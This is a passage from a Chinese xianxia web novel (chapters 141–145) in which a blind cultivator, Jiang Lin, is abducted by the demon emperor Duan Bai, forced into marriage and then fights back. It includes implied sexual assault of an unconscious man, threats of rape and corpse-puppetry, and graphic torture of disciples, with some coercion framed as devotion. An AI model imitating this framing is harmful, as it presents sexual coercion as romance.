但是他脑海中闪烁师尊凌冽的眼神,求生不得,求死不能的痛苦,让他心思消了一半,他就像是被打怕的狗,升起这些歹念的时候,便想起了当时的痛苦。 赵天肃却也不甘心就这么算了,抓住师尊的手腕,重新吻住他的唇 第二日,江林被饿醒,浑身疲惫有些不得劲,身后贴着热乎乎的身体,某个存在感十足的物件大剌剌地对着他。 他脸色猛地一沉,旋即又发现自己身上的衣衫全被脱了,某些地方破了皮,生了红印,还有什么不明白的。 赵天肃抱着江林,吻了吻他的耳廓:“你醒了。” 江林冷着脸,膝弯还有不好的触感,他甚至忍着灵脉剧痛,动用了灵力,手中出现一柄短剑,朝着毫无防备的赵天肃刺去,剑刃没入胸膛,等剧痛传来,赵天肃才发现师尊反手将短剑刺入了他的胸膛。 江林肩膀后背喷溅出猩红的血迹,他将人震开,同时自己也吐出一口鲜血,脸颊更加雪白了,他这是伤敌八百自损一千。 赵天肃顾不得自己受伤,见状脸色难看地抱着摇摇欲坠的江林身体,声音发颤:“师尊,您别动怒,我没做什么,我什么都不敢的,您不要再动用灵力了” 江林大口喘着气,浑身疼痛难忍犹如蚂蚁食心般痛苦,他掐住赵天肃的胳膊,冷声警告他:“若是受辱毋宁死。” “不会,不会,我再也不敢了。”赵天肃握住他的手指,任由伤口淌血,不敢再刺激江林一分。 许久之后,江林才平息好呼吸,赵天肃服了几颗丹药,外面传来颤颤巍巍的敲门声:“两位仙人早膳做好了” 赵天肃开门,面如黑炭,端来了简单的米粥,小心吹凉了喂到江林嘴边,江林没有和自己的身体过不去,平静地喝粥,揩了揩唇角,冷漠道:“你想带我去哪?” “带你去找凤凰琉璃火净化您灵脉中的魔气。”赵天肃也伸手擦了擦他的唇角,将残留的一丁点米糊擦掉。 他不敢说他要带师尊去魔界。 “是吗?”江林似乎信了,并未追问早就没了踪迹的琉璃火去哪里寻。 赵天肃给这家农人扔了几块银子,才背着师尊离开。 途中,两人都使用了易容术,现在修真界依旧没有放弃寻找清树真君,他们和魔族的战争还未结束,甚至越发焦灼,死的人越来越多。 江林一直很平静,他视线无神平静,咬着酸不溜丢的果子,赵天肃蹲下身看着师尊,他试探性的询问:“师尊和那魔族魔帝到底是何仇怨?” “”江林表情凝滞一瞬,声音冷漠:“宿敌,他若不死,我这辈子都如鲠在喉的恶心。” 他露出一抹厌恶至极的神色,那般深刻的恨意,赵天肃第一次从师尊脸上看见。 赵天肃手指一抖,手中的果子掉落了两颗,唇角紧抿不再言语。 江林也只是瞬间的冰冷,表情很快又变得平静了。 “师尊你还记不记得当初在哪里救下我的?”赵天肃背着师尊,看着那片魔气冲天的结界,张牙舞爪地似要吞没所有人,一步一步朝着那处走去。 “记得。”江林露出一点回忆的神色:“那时你年纪尚小,被人绑在一个竹船上,歹毒的符钉钉着你的四肢,我看见你的时候,你差点就要没有呼吸了,脸色青白得如同水鬼般。” 赵天肃勉强一笑,声音沉沉:“当初多谢师尊救我,否则我哪有今天,早就变成真的水鬼了。” 江林沉默一瞬,夸赞赵天肃:“你小时候很乖,不需要我操心。” 赵天肃唇角紧抿,哑声笑道:“这是师尊第一次夸我,我送给您一个礼物吧。” “什么?”江林手中被塞入了一块不规则形状的石头,触手生温,有一股奇怪的暖意。 “师尊这次可别将我给您的东西给别人了。”赵天肃用那低哑的声音开着玩笑,莫名地有些苍凉寂寞之感。 那颗火红的晶石是赵天肃的半颗心脏,他母亲便是凤凰一族唯一的遗孤,而凤凰琉璃火便是凤凰一族心脏流的血 江林握紧了石头,叹息道:“你送我的东西与我而言无用,倒是非常适合佘离,所以我便给他了,不承想你心中竟然这般在意。” 赵天肃放下江林在干净的树墩上坐好,高大的身体蹲在他跟前,语气有些低哑委屈:“师尊,如今还如此讨厌我吗?” “我没有讨厌你。”江林淡淡否认:“我只是不喜欢被人强迫。” 赵天肃抓着他的手,在他手背亲了亲,“师尊饿了吗?” “嗯。”江林点了点头。 “好,我给您烧只兔子吃”赵天肃堆起了柴火,身后无声无息出现的黑影贴在他身后,从心脏处刺穿的箭矢带着浓烈的魔气。 赵天肃瞪大双眼,眼睛逐渐变得毫无光芒,身体软下,又瞬间变成了粉末。 江林似有所觉地朝着那处看了一眼,唤了一声:“赵天肃?” 赵天肃高大的身躯站在他面前,唇角勾着放肆又扭曲的笑,阴影笼罩着江林,他声音止不住地兴奋:“师尊,我在呢。” 第142章 他周身散着淡淡的魔气, 伴随着段白握住江林的手,如玉纤细的手指被很轻地握住,魔气消散, 江林手指微微收紧,“刚刚发生了什么?” 化作赵天肃的段白眯了眯眼, 轻声道:“刚刚杀死了一只小魔物,没事。” “魔物?修真界怎么会有魔物,你不是正在带我寻凤凰火吗?”江林轻轻抽回手, 双眼无神却平静,带着淡淡的质询。 段白眉梢一挑, 没想到赵天肃居然是将江林骗过来的。 “这只魔物许是从魔界叛逃出来的。”段白面不改色的欺骗。 “走吧,我觉得有些冷了。”江林手中的盲棍戳着地面,段白重新弯腰将江林背上,穿梭过魔界结界,魔界茂密的树林为他开道,两人的身影消失在整片深黑的树林中。 森森魔气混杂着沼泽的凉意, 江林眯了眯眼, 手指触碰到段白冰冷的脖颈, 问他:“你很冷吗?” 段白缩了缩脖子,笑着说道:“不冷, 你再摸摸, 一点也不冷。” 江林再抚摸而上之时,肌肤变成了温热的人类温度,他的手指很快离开他的皮肤, 神色淡淡:“那许是我刚刚的错觉。” “赵天肃,这里到哪了?为何无人说话?”江林似乎生出了一丝怀疑,手指紧紧攥住了自己的盲棍。 段白视线落在那些赤/裸白骨的阵法中, 有些白骨上还有猩红的血肉,因为没有被蚕食干净留下的血沫,他背着江林一越而过,“很快就到镇上了,刚刚荒郊野岭,有人说话那才奇怪呢。” “哦,那早些休息吧,我有些累了。”江林耳边逐渐传来了人声,紧张的身体微微贴住段白的后背,似乎放心下来。 段白虚构出来的人麻木又重复着生前最后一句话,如同傀儡般,机械地生存着。宫殿周围的魔族无声跪成一片,江林被段白放在坐椅子上,给他端来茶水和糕点。 “江林。”段白变成自己的模样,不屑以赵天肃的身份伪装,如今已经到了他的地盘。 “还没认出我是谁吗?” 江林露出一丝惊慌之色,倏地站起来,往外跑去,段白抓住他如今纤细的手腕,从身后揽着他的肩膀,凑到他耳畔,低低地询问:“这么久不见,不想我吗?” “我想你去死。”江林想要动用灵力,却发现灵力被他封锁,脖颈被段白掐住,下颌微微扬起。 段白笑眯眯地说道:“你如今还要这般嘴硬吗?若是服软,我可以少给你一点苦头吃。” “现在我捏死你,就像捏死一只蚂蚁般简单。” “不可能。”江林抓着他的手,狠狠咬了一口:“你最好是现在就杀死我。” 段白手指微微用力,卸掉了江林的下颌,眼底闪过一丝疯狂的狠意,捧着江林的脸,盯着那张苍白的脸,嘴巴合不拢,只能张着,好不可怜。 他凑上前吻住江林的唇,江林抬手便扇向他的脸,旋即忍痛板正了自己的下颌。 瞬间传来的疼痛,让他眼眶一红,他本就是怕痛的性格。 “恶心玩意儿,你配碰我?”江林面无表情,从兜里掏出匕首对准自己的脖颈。“我宁愿死。” “你死啊。”段白不吃他这一套,“你还没杀我,你大仇未报,你舍得死吗?你以为我是那些蠢蛋吗?以为我会受你威胁,别做梦了江林。” “你死了,我便将你的灵魂禁锢在身体,然后将你的身体变成魔傀,一辈子在我身边侍候我,任由我玩弄。” 江林清冷的脸庞闪过一丝厌恶,手中匕首在这个间隙被他打掉,下一瞬,他感觉到眉心刺痛,原本的金色莲花早就消失不见,变成了一点猩红。 “我给你印下了魔仆印记,从今以后你再也踏不出魔域,行踪无处可藏。”段白手指碰了碰他的嘴唇,在他动手之间抓住他的手腕,摩挲了几瞬,眼神闪过痴迷:“永远成为被我囚禁的奴隶吧。” 他知道江林想要自由,他偏不给,他明知江林不喜欢被人强迫,那他也偏要强迫他。 江林傲,他也桀骜,两人锋芒相对,谁也不服谁。 “”江林露出一丝嘲弄的笑容:“所以最后你想出让我臣服的办法,便是继续用这些腌臜的手段?那你当初送我去小世界有何意思,为了满足自己的绿帽癖吗?” 段白脸色一僵,又想起他吞噬完系统后藏在江林脑海中的那段时间,他当然没有将自己屏蔽掉,他看着江林和多个男人周旋,眼神中偶尔露出一点的温柔,对于他来说都是嫉妒得发狂的妄念,但毫无办法,直到他现在可以亲手碰到他本人。 “江林,我劝你不要这么狂妄了。”段白手落在他臀上,暗示的眯了眯眼:“我不是那些废物,不会被你三言两语骗到,你这里还是第一次吧,我只要成为你的第一个男人就好了。” 江林这才浑身一僵,立刻鸡皮疙瘩便冒出来了,仿佛哑火的炮,咬牙道:“你敢!” “我有什么不敢的。”段白轻轻捏了一下,江林手肘狠狠撞在他胸口,他不为所动的摸上他的腰带。 江林呼吸一沉,眼底闪过一丝危险的神色,段白却没有继续下去,只是拍了拍他的后腰:“不要这么紧张,我现在不会动你,十日之后魔帝大婚,你会成为我新娘。” “洞房花烛夜我会来拿走属于我的东西。”段白压着嗓子,自信满满,鼻尖在他颈侧嗅了嗅,闻到那股熟悉的香味,沁人心脾,他非常喜欢。 江林被宫殿的仆人带了下去,彼时那恼羞成怒的表情才变得冷淡。 他给段白设的局,也是段白给他设下的局。 段白给他喝下有问题的药,江林为了引他现身毫不犹豫地喝下,又彻底切断段白“师兄”的所有可能,告诉他克制有礼的师兄得不到他的半点垂怜,逼着他真身现身,他只身前往魔界,也是他和赵天肃计划中的一环。 他早就知道赵天肃“勾结”了段白,将计就计而已。 想要主神死,杀死段白的身体无用,需要找到他在魔界的真身,才能彻底摧毁他。 所以这次魔界之行,势在必行。 也只有这样段白才会对他放松些许警惕。只怕那样多疑的人,还是会对他万般隐瞒和欺骗,可能无法轻易地找到他的真身。 “我就在殿外,您有任何吩咐,都可以唤我。”侍女毕恭毕敬地说道。 门口重兵把守,生怕江林跑了。 晚膳时,段白便来陪他用膳,准备了不少凡间的吃食,江林冷着脸,没动筷子,他瞧不见,贸然动筷,也是出丑而已。 “怎么,不喜欢?”段白蹙了蹙眉,以为他的使性子。 江林依旧冷面不语。 “你真是你以为本帝还会如你那些蠢蛋般对你百般迁就吗?你若不喜那便撤下去,你饿着吧”段白不耐烦地说道。 “魔帝,许是贵客目不能视物,所以行动不便?”旁边的侍女战战兢兢地提醒。 这话说完,江林也直接站起身,准备离开,段白握住他的手腕,将人按下,坐着好。 “哈?”段白挑眉,“原来是这样,既然势弱,为何不主动开口提出不便?到底在骄傲什么?” “我不饿。”江林甩开他的手。 段白强忍着想要将人教训一顿的冲动,咬牙道:“你别逼我对你动手。” “哼。”江林冷哼一声。 段白扫了一眼侍女,侍女给江林准备好牛肉粥,准备伺候他用膳,却又被段白拦住。 “给我。” 江林脸色越发阴沉了,站起来又要走,但段白慢悠悠开口:“今日这顿不吃,明日和后日可就都没有了,你饿死了,本帝就把你做成魔魁,带着你在所有正道修士面前做/爱,让全天下的人都看看清树真君的仙资” “你恶不恶心!?”江林抬手将手中的盲棍抽在他腿上。 段白不痛不痒,沉着语调倒数:“三、二——一。” 江林重重坐下,眉眼间如同凝了霜,却也显得清俊迷人,嘴唇紧抿,段白因为自己的计谋有效而喜上眉梢,拿着勺子递到江林唇边,见他一动不动。 “张嘴。”段白低声命令道。 江林下颌线紧绷,浑身如同是钢筋铁骨般傲气,但下一瞬段白便道:“我将你的魔傀做成胸大屁股翘的女子如何?” 江林气得嘴唇抖动,张嘴含住汤勺,恶狠狠地咽下肉羹。 但其实段白根本舍不得江林死,魔傀谁都能做,但江林只有一个,他还盘算着,他大婚之日,便会将江林被魔气侵染的眼睛治好,也会治疗他的身体,绝不会让他死。 可现在段白便有些改变主意了,两人亲昵的行为,让段白有一种江林正在和他服软的错觉。 他故意躲开江林的唇,让他咬了一个空,江林动作一顿。 段白又抬手喂到他唇边,江林张嘴去吃,又被戏耍似的躲开。 江林彻底生气了,直接抬手把一整桌还没怎么吃的晚膳掀了,他拄着自己的盲棍往寝殿走去。 段白眨了眨眼,手中的肉羹都没喂完,侍女们跪在地上不敢说话,段白砸了手中的碗,疯子似的哈哈大笑,倒是忘记了,江林才不是什么好脾气的人。 怕是早就忍得他牙痒了。 这么久才掀桌,已经难为他了。 段白想,还是让江林瞎着吧,给江林喂饭似乎也是一件舒畅身心的事情,但只怕江林不太愿意呢。 而且瞎子操起来,也很带劲吧 段白已经迫不及待等他们大婚了。 第143章 “终于可以歇一歇了, 据说这次玄冥魔帝现世,出战修真界,不过是为了迎娶那位帝后?”魔侍窃窃私语着, 语气有些埋怨又有些好奇。 “我也听说了,还是一个灵修, 现在便养在主殿内呢。”现任魔帝以雷霆手段杀死了原本的魔帝,又杀死了两位反对他的魔君,才坐稳魔帝的位置。 “这次大战, 我们死了十万魔兵甚至更多,不知道魔帝会如何补偿呢?” “他真的会补偿吗?” “不一定吧。” “可能吧。” “希望吧。” 他们不知道他们讨论的人就在一墙之隔, 江林原本只是想出来透透气没想到便听见了这些话,他身后跟着不少魔族守卫,他们面无表情像是没听见这对魔帝来说大不敬的话。 江林眨了眨眼,才发现原来段白在魔族也这么让魔讨厌,不愧是令人讨厌恶心的臭虫啊。 他拄着盲杖记着路线,偌大的魔宫江林无声地逛了很久, 他敲了敲那坚实的墙壁, 随后原路返回。 魔宫开始如凡间婚配般张灯结彩, 死气沉沉的魔宫出现一抹抹诡异的红,不显得喜庆, 反倒是让人觉得诡异, 处处透着森寒。 江林睡到中午才醒来,午膳已经准备好了,段白坐在一旁, 有些不满地说道:“怎么睡得这么久?我等了你一上午了。” 江林像是没听见他的话,懒得理他。 “江林,我准备邀请玉溯宗的各位长老弟子来参加我们的婚宴如何?你还有什么好友我也一并邀请来。”段白唇角勾着冷笑, 视线在他淡漠的脸上流转一瞬,想要看见他生气的眼神。 “随你。”江林却并不如他的意,他摸索着拿起一个面馕,自顾自地啃起来,昨夜故意服软让段白喂的那几口肉粥差点没让他直接吐出来。 段白失望地看着江林的表情,“你似乎并不在意和我成婚了。” “既然反抗无效,我为何还要做无用功。”江林面无表情地说道:“只是你总用放松警惕的时候,你只要不杀我,我总会杀死你的。” 他当着段白的面,说出自己的意图,段白丝毫不意外他有这样的念头。 段白眼神一狠,捏着他的下颌,冷酷地看着他:“我等着你。” 颇为气恼的拂袖而去。 他想到了某些切片被江林斩杀时候的惨状,到死都不曾恨他。 江林等他走了之后,才慢吞吞地咽下食物,吃饱后,灌了一口凉茶,起身又去魔宫遛弯。 他走到一半,便察觉到耳边脚步匆匆,不断有侍卫从身边走过,似乎出了什么事儿,江林依旧不动声色地走着,但下一瞬,就被魔卫拦住了:“帝后,我们该回去了。” 江林没有反抗,慢悠悠地走回殿内,屋内有被搜寻过的痕迹,他手指摸上被换了位置和形状的杯盏,他眼神一冷:“有人来过我的屋子。” 魔卫解释道:“牢狱中有罪徒越狱,现在已经被带回去了,您放心,您的安全一定没问题的。” “是吗?”江林勾了勾唇,放下杯盏,上面有他熟悉的气息。 而彼时的地牢中,段白看着被蛇骨钉住在石柱上的佘离,化作蛇身,奄奄一息,满身是血,发出微弱的痛吟声。 “怎么听见你师尊的名号,便这般激动吗?”段白看着这个曾经冒犯他的小子,脸上露出残忍的笑,蚀骨钉,会随着时间,消融佘离的蛇骨,直到他彻底死去,都会承受骨裂之痛。 “我与你师尊大婚,一定会用你的蛇身下酒,让他亲口喝下那合卺酒,你也不算白白和他师徒缘分一场。”段白站在偌大的龙柱前,看着被锁住蛇身的佘离,唇角带着畅快的笑容。 他微微挥手,便又有几颗钉子扎进佘离体内,佘离的身体发出轻颤,痛苦地挣扎着,锁链随着他的挣扎不断收紧,直到勒紧他的肉里。 “你该为你师尊高兴的。”段白看着他痛苦的模样便觉得畅快,江林所珍惜的东西如果不是他,他都会不择手段地毁掉。 /// 寝殿内的江林强行唤出沉睡中的玄镜,玄镜有些恍惚,在江林的简单解释下迅速掌握了情况,一双阴鸷的眼比段白还像魔族,他厉声怒骂:“那杂碎还幻想着和你成婚?也不撒泡尿照照自己长什么样?” “想与你成婚,先他爹的从我的尸体上踩过去” 江林强忍着身体的燥热,抓着他的手腕,“别骂了,该死的体质” 玄镜抱住恼怒的江林,冰冷的唇落在他脸颊处,恶狠狠地说道:“在他眼皮子底下给他戴绿帽子,可以,我很喜欢。” 玄镜跪在地上讨好自己的主人,手轻轻抵在他腿上,视线看向江林紧蹙的眉头,直到江林身体情况缓解,那双无神的眸子变得黑亮,他拍了拍玄镜的脸蛋:“玄镜,你的身体借我一用。” 他的身体被打了魔仆印记,行踪都在段白的掌握之中。他手指掐诀,他的三魂附着在玄镜身上,玄镜让渡出自己的自主权,而江林的身体已经主动在榻上睡下,一道模糊的黑影消失在原地。 江林看见的囚牢中的佘离,但只是匆匆而过,除却佘离,囚牢中还有不少魔族人,他如一阵清风掠过,其他人只感觉到一阵淡淡的风吹过,玄镜是剑灵,藏匿身形很强。 被关在牢狱深处的男人,头上长着黑角,一双猩红的眼看向江林现身的地方,他周身都是一层层压制他的阵法,身形有两米多高,半个身体沉在岩浆中。 “你是谁?”他用心声问道。 江林弯唇一笑,因为自己的猜测得到证实,闪过一丝淡淡的笑容:“重焰魔帝。” 魔帝并非那么容易杀死,甚至可以说千年之内拥有不死之身,除非年岁渐长,才会露出破绽,所以段白杀不死仅仅三百岁的重焰,只能将他囚禁起来。 若非重焰魔帝相助,佘离不可能逃出重兵把守,阵法层层的牢狱。 “清树真君——江林。” 重焰魔帝压身出现一丝玩味,桀骜不驯的眉眼微微一挑,似乎知道他是谁,就算被压制至此,重焰依旧能掌握魔宫的消息,他传音道:“玄冥那老头的新娘?” “魔帝别恶心我了。”江林冷淡地说道:“我们合作吧,你告诉我段白的真身在哪?” “我不知道。”重焰若是知道,早就拧掉了他的脑袋,将他也锁在炼狱中尝尝这苦楚。 “你也是废物。”江林轻声评价,准备转身离开,面色冷峻,还以为能有什么收获呢。 “你”被人莫名其妙地骂了,重焰瞪眼,穿进他琵琶骨的锁链被扯动,他扯了扯唇角:“你外面的小徒弟,怕是撑不到你大婚,就要被玄冥下酒了。” 江林没说话,只是留给他一个冷酷的背影。 重焰眯眯眼,不确定地想到,他真的半点不在乎吗? 江林没有停留,不准备让重焰抓住把柄,也许他知道段白的真身在哪,却不愿意告诉他,甚至可能想用佘离的生命来和他谈判或者说威胁他。 江林回到寝殿,回到自己的身体,又恢复了一身柔弱死气沉沉的模样,像是无欲无求等死的人。 来魔宫的第四日,他看见了被段白抓来的朱子澄。 江林表情淡漠,段白驱逐了他眼睛内的魔气,让江林看着他拔掉了朱子澄的指甲,在他身上放血,割肉,但朱子澄硬是一声痛呼也无,将嘴唇咬烂了,也不肯发出一丝求饶之声。他以为师尊看不见,所以只是笑着道:“师尊,我没事。” 满身是血的朱子澄肌肤上没有半点好皮了,江林的表情自始至终都毫无变化,仿佛死在他面前的只是一条狗而已。 段白见状,狰狞一笑,抬手抓着江林的下巴,对上他冷漠的眼睛,眼底冒出一股股的疯狂:“你果然狠心啊,江林,佘离的痛苦你视而不见。现在最小的徒儿在你面前差点被扒皮放血,你也无动于衷,我真想看看你的心是不是红啊,如此狠心,他们该恨你才是,怎么能爱你呢?” 段白不满江林的满不在乎,他不知道自己想要江林如何做,他只知道若是江林这般狠心,那便没可能爱他。 事到如今,他既然还在想着得到江林的爱,若是江林能听见他的心声,只怕要直接笑出声来。 笑他的痴心妄想,笑他的厚颜无耻。 江林看着他这张温润之下狰狞暴怒的脸,云淡风轻地问:“你想让我有什么表情?我为他求情便有用吗?你会下手更狠吧。” “他死了便死了,与我何干?我连自己都救不了,难道还能救他吗?” 朱子澄意识模糊间听见师尊的话,那一刻心死大过于身死,却不能怪他。 他仍在替他找借口,师尊他只是被逼无奈的。 “好,好好,他是你的爱徒,我如何舍得他死呢。我要他们亲眼看着我迎娶他们的师尊。”段白挥手,侍从将已经将已经失去意识的朱子澄拖了下去,他捏着江林的下颌,低下头,强硬地在他唇上落下一吻。 江林推开他,厌恶地擦了擦嘴唇,脸上露出的激烈神色居然比看着朱子澄受折磨还要强烈,段白突然便笑了,他仰天大笑起来:“你对我的感情,比他更加强烈呢。” 江林不知道他到底在笑什么,只是恶心得够呛。 “我会每日带着朱子澄来和你叙旧的,师尊大婚,徒儿怎么能不到呢。”段白抬手锁住他的手腕,故意抚摸着江林白皙的肌肤,摩梭着他的脸颊,观察江林的神色。 江林这次忍下恶心,冷眼看着他。 段白这样的人,高高在上惯了,以为每个人都能被他玩弄在股掌之间,他从未将任何人放在眼里,包括江林。 段白无趣地收回手,他日日在江林面前折磨着朱子澄,朱子澄如同枯败的花,逐渐失去了光芒,仿佛白珠破碎。 他开始求着师尊杀了他。 段白折磨不了江林,便将一腔怒火发泄在他徒儿身上。 他心中莫名的笃定,这样会让江林难受。 江林的确不爽,原本想要利落杀死段白的主意变成了要将他也折磨得不成人样才行。 第144章 魔帝大婚, 人魔休战,共贺佳时。 当众人知道与魔帝成婚的乃是与玉溯宗的清树真君时,纷纷露出愕然神情, 旋即变为唾弃,对于这位曾经名动一时的真君投以嫌恶的目光。 攀附魔族, 背叛师门,杀害同族,其心可诛。 段白的手段了得, 他当真将玉溯宗十八峰的修士全部请了过来,外门弟子都被打包带了过来。 一时之间, 不论真心还是假意,魔界沉浸在魔帝大婚的喜庆中。 江林屋内摆放着大红的婚服,华丽的凤冠珠翠点点,屋内喜红一片,龙凤烛火,摆放着耀眼钻石珠宝, 而在其中的江林满脸冷漠, 事不关己, 似乎马上要成婚的人不是他。 侍从小心翼翼开口:“帝后,可要试试婚服?” 江林像是没有听见他说话, 坐在榻上发呆, 那人还想说话。 段白的声音从屋外传来:“不必试了,那婚服为他量身定做,除他之外无人能穿。” 他盯着江林那张淡漠的脸, 抬手将一坛酒,放在他面前,充斥着淡淡的血腥味。 “上好的蛇血泡酒, 江林你可要好好尝尝。”段白表情虽然笑眯眯的,但半点不见温和之意,眉眼间像是狰狞的衍兽。 江林淡淡的看向段白,他双眼的魔气被驱散,如今已经能够视物,他视线和段白对上,清凌凌的,不恨不愤,只是抬手轻轻砸了那壶酒。 淡粉色在地上如同泼墨般化开,酒气混杂着血腥味令人作呕。 “砸吧,玄蛇自愈能力强,就算我放再多的血,也无事。”段白半点不生气,手臂撑着木桌端详着江林的脸:“江林,三个弟子,赵天肃因你而死,朱子澄和佘离都因你备受折磨,你更心疼谁呢?” 清树真君眉目如同谪仙不染尘,毫无半点情绪波动般,仿佛没听见他的话,只是无视眼前的人。 他这种无视的态度却是段白最不能忍受的,他抬手捉住他的下颚,让他对上自己的视线,双眼深藏的嫉妒,几乎不能自抑,“你说啊。” 江林也只是静静看着他,眼神露出丝丝嘲弄,段白极恨的松开手,站起身来,气息不稳,“我倒要看看你能硬到什么时候。” /// 大婚之日,魔界乌云尽散,金光乍现,云开天晴。头顶仙鹤盘旋,仙灵献祭,江林坐在铜镜之前,任由侍女打扮,他手指动弹不得,被段白施下傀儡咒,只能任由傀儡般摆布。 额前坠着珠子,眉眼间多了一丝凡尘的美艳,原本清冷的五官,在粉黛的加持下变得更加精致夺目,薄唇点朱,黛眉青山,美得雌雄莫辨,浑身气质更加从犀利冷漠变成了锋芒毕露的美。 清树真君变成了美艳的娘子。 段白出现在铜镜之后,眼底藏不住的惊艳和贪婪。他一身红袍加身,走近江林身后,屏退了侍从,手捏住江林的下颌,望着那张美得惊心动魄的脸,手指钻入他唇间,挑起他的舌尖把玩,江林反抗不得,只是冷漠以待。 “江林,你真的美啊,你这样的人天生就该被上啊,负隅顽抗什么呢?”段白不顾他脸上的妆,玩得他的口脂混着口涎流下,又低头将他吻了个干净。 他望着乖顺无法反抗的江林,虽然喜欢他的顺从,却又觉得他这般毫无生气的模样有些无趣。 “等今日大婚后,我就会解开你的傀儡咒。” 说完,段白在江林脸上留下几个轻吻,才依依不舍地离开。 江林脸上的妆重新补好。 他被盖上红盖头,手被侍女牵着,一步一步踏上台阶,耳边人声鼎沸,他视线看见了混杂的鞋,来去匆匆的脚步声,他亦步亦趋地走着。 “新娘入殿!” 传来敲锣打鼓,唢呐齐鸣,花瓣如同雨般漫天飞舞,惟妙惟肖如同仙境,朱子澄脸如白纸,他被安排在最为明显的位置,眼睁睁看着一身红衣的师尊另嫁他人。 朱子澄双眼赤红,轻咳起来,胸腔抑制不住地疼痛,喉间蔓延出血腥味,手指和身体都在不停发抖。 “这就是新娘?” “江林可真是厚颜无耻啊。” “魔帝无耻,江林让玉溯宗蒙羞,实在再无颜面对祖宗啊。” “哎” 玉溯宗众人捶胸顿足满脸晦气,小声怒骂,只差拿眼神杀死江林了。 外面戏称,他们玉溯宗出了个魔帝亲家,当真长脸啊。 段白站在红绸尽头,看着款款走来的人,眼底火热一片,多年执念终于实现,他唇角控制不住地扬起,忍不住上前两步牵住他的手。 风吹起江林的盖头,露出点点红唇和白皙的下颌,朱子澄不怕死地站起身来,要上前去阻止,被段白一个眼神,让魔族侍卫拖了下去。 这点风吹草动并未惊扰两人大婚。 “一拜天道。” “二拜地玄。” “夫妻对拜。” 段白握住江林微凉的手指,挥手招来两杯酒,天空闪过金印,声音洪亮:“我与江林结契,以吾之命结他之魂,以吾之生祭他之死生死不弃。” 魔帝结契,从此之后,段白生,他生,段白死,他死。 江林眼底闪过一丝嘲弄,难怪段白如此笃定,自己不敢杀他。 段白在他耳畔说道:“你可高兴,我与你分享这永恒不死的寿命” 之后的环节,段白不再参加,牵着江林迫不及待地洞房了。 江林盖头被掀开,睫毛微抬,瞧见段白那双泛红激动的眼,他欣赏不够如此漂亮的江林。 他拿出合卺酒,江林不受控制地接过,他笑着道:“这次总要喝了吧。” 两人喝下那合卺酒,江林被那股蛇腥味恶心得反胃。 江林头顶的凤冠摇曳,段白轻轻弹了弹那珠帘,“江林,你终于属于我了。” 段白揽住他的肩膀,凑近他的脸,却想到什么,变换了一副样貌。 江林盯着他的脸,那是完全陌生的脸孔,段白捏着他的下巴,轻笑道:“你不是一直在寻找我的真身吗?如今站在你面前,你倒是不认识了?” 段白将他按进床榻,亲吻他的耳廓,手指挑开他的腰带:“大婚之夜,我怎么用旁人的身子与你□□呢。” 段白察觉到了不对劲,浑身一怔,旋即笑了笑他的耳垂,“如此,还不肯死心吗?” 江林挣开傀儡咒,本命剑现,一掌打向段白,段白翻身一躲,只见原本的新房,若隐若现的符咒,纸剪的喜字破碎,风声渐起,灵气环绕,阵法形成! “”江林抬剑刺向他,一身红衣耀眼,面容却冷峻如修罗,依旧很美。 段白手指掐住他的剑峰,朝后退了两步,有恃无恐地说道:“你确定要杀我,杀了我,你也活不成了。” “那又如何,你该死。”江林从不怕死。 江林眉心金莲浮现,左手猛地收紧,一朵朵金色的火焰出现在眼前,破空而出,连他的剑冒出金色炙热的光芒。 段白弹开他的剑,江林飞身上前,和他拼杀在一起,剑意汹涌,那凤凰火有些烦人,但他并不惧怕,毕竟还未成大器。 江林剑招凌厉并非花架子,逼得他不得不拿出剑来,狰狞的剑意碰撞在一起,殿内的桌椅板凳都被劈碎,剑气冲天,段白拧眉:“这里是魔界,你会被杀死。” “我不在乎。”江林狠狠砍向他的脖子,被剑刃挡住,段白望着近在咫尺的人,手中魔气生,狠狠砸向江林的小腹,江林朝后倒去,瞬间撞碎了身后的石柱。 “我不想伤你,你乖一些。”段白不耐烦地蹙眉。 江林咽下口中鲜血,怒喝一声:“重焰?!你还要看到什么时候!” 段白微怔,这次露出一些谨慎的神色来。 “别着急嘛。”只见魔气聚拢,带着魔角的重焰魔帝出现,露出那双猩红的眼,盯着眼前的段白,手上都是兽爪鳞片,语气高高在上:“玄冥准备好受死了吗?” 浓烈的魔气朝着段白袭来,段白拧眉,也化作一团魔气,露出魔角兽瞳,彬彬有礼的模样消失,变成了魔族邪气横生的模样,两人瞬间便冲出了寝殿,江林提剑追了出去。 他手中火焰闪烁,双手并拢,口中念咒,变成了更多的凤凰火焰,将正在打架的两团魔气包围起来。 重焰叫嚣着:“这是干什么,快把火焰收收,烧到本尊了!” 江林没动,被凤凰火燃烧过的灵脉不再害怕这些魔气,灵气吹动了衣袍,在他身体内乱穿。 原本还在喝喜酒的众人,瞬间便被吸引了注意。只见一身嫁衣红妆的新娘,头上凤冠未摘,珠玉碰撞,面容俊美,衣诀飘然,在空中满身金光,气势逼人,将那嚣张的魔气逐渐包围,逼近 原本晴空万里的天空霎那间变得乌云密布。 魔气冲天,修士们纷纷抓紧了手中的剑,不知道谁先动手,一剑刺向了旁边的魔族。 混战起,两方又厮杀起来。 江林咬牙服用了两颗丹药,以他如今的修为和魔帝硬碰硬明显不够看,所以他不顾自己的灵脉能不能承受得住,爆灵丹不断往嘴中送,修为暴增的同时,身体也发出的抗议,爆裂的血管撕裂的肌肤甚至直接沁出了血。 江林继续结阵,在一瞬间,昏暗的天地出现一丝白光闪耀,带着凌厉的威压。 “你在干什么?!”段白和重焰同时发出一声惊呼。 那危险的气息,带着阵阵令人心慌的灼烧感。 江林擦了擦唇角的血,身体肌肤像是在撕裂自己,露出一点淡淡的笑:“让你们死。” 他宁愿以身为祭,也要拽着他们下地狱!魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 【终章】 第145章 瞬间魔界大乱, 原本埋伏在魔界之外的众人仿佛收到信号般,鱼贯而入破开了魔障。 重焰和段白看着阵法之外以身为祭的江林,纷纷慌乱起来, 魔气化作风刃朝着江林割去,最终被一一化解。 “你当真疯了, 江林。”段白满身魔气,那张脸显得陌生又狰狞扭曲,“伏魔阵, 以你的功力根本压不住我们的。” “是啊,我杀了这混蛋不就行了, 你为什么要这么做?”重焰大为不解。 江林一手持剑,迎风而立,衣角猎猎,红衣如同血染红的一般,面容苍白却冷峻,双眸黑沉冰冷, 唇角勾着毫无笑意的弧度:“因为我要亲手杀死他。” 段白嗤笑, 狂妄大笑:“你杀不死我的, 江林,你好天真啊。” 他边说着, 边化作一道锋利的剑刃冲向江林, 